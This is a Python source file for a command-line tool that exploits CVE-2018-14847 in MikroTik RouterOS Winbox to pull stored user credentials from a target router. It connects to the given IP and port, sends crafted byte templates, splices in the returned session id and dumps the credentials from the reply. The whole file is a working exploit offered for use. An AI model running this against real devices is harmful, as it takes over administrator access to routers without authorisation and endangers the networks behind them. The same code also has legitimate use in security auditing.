import socket
import sys
from typing import Annotated

import typer
from rich import print
from rich.progress import Progress, SpinnerColumn, TextColumn

from mkx.core import settings
from mkx.core.bytes import BYTE_A, BYTE_B
from mkx.core.extract_user import dump
from mkx.core.models import IPAddress

command = typer.Typer(
    help='Search for credentials of a RouterOS '
    'v6.42 vulnerable (CVE-2018-14847).',
    no_args_is_help=True,
)


@command.callback(invoke_without_command=True)
def main(
    ip_address: Annotated[str, typer.Argument(help='Target IP address.')],
    port: Annotated[
        int, typer.Argument(help='Winbox TCP port.')
    ] = settings.WINBOX_DEFAULT_PORT,
):
    IPAddress(ip=ip_address)

    print(
        '[bold green][[/bold green]'
        '[bold yellow]*[/bold yellow]'
        '[bold green]][/bold green]'
        ' Looking credentials for address '
        f'[bold white]{ip_address}[/bold white]:\n'
    )

    with Progress(
        SpinnerColumn(),
        TextColumn('[progress.description]{task.description}'),
        transient=True,
    ) as progress:
        progress.add_task(description='Searching...', total=None)
        try:
            # Initialize Socket
            s = socket.socket()
            s.settimeout(3)
            s.connect((ip_address, port))

            # Convert to bytearray for manipulation
            a = bytearray(BYTE_A)
            b = bytearray(BYTE_B)

            # Send hello and recieve the sesison id
            s.send(a)
            d = bytearray(s.recv(1024))

            # Replace the session id in template
            b[19] = d[38]

            # Send the edited response
            s.send(b)
            d = bytearray(s.recv(1024))
        except TimeoutError:
            print(
                '[bold red][[/bold red]'
                '[bold yellow]-[/bold yellow]'
                '[bold red]][/bold red]'
                ' [bold red]TimeoutError[/bold red]'
            )
            sys.exit(1)
        except ConnectionRefusedError:
            print(
                '[bold red][[/bold red]'
                '[bold yellow]-[/bold yellow]'
                '[bold red]][/bold red]'
                ' [bold red]ConnectionRefusedError[/bold red]'
            )
            sys.exit(1)

    # Get results
    dump(d[55:])
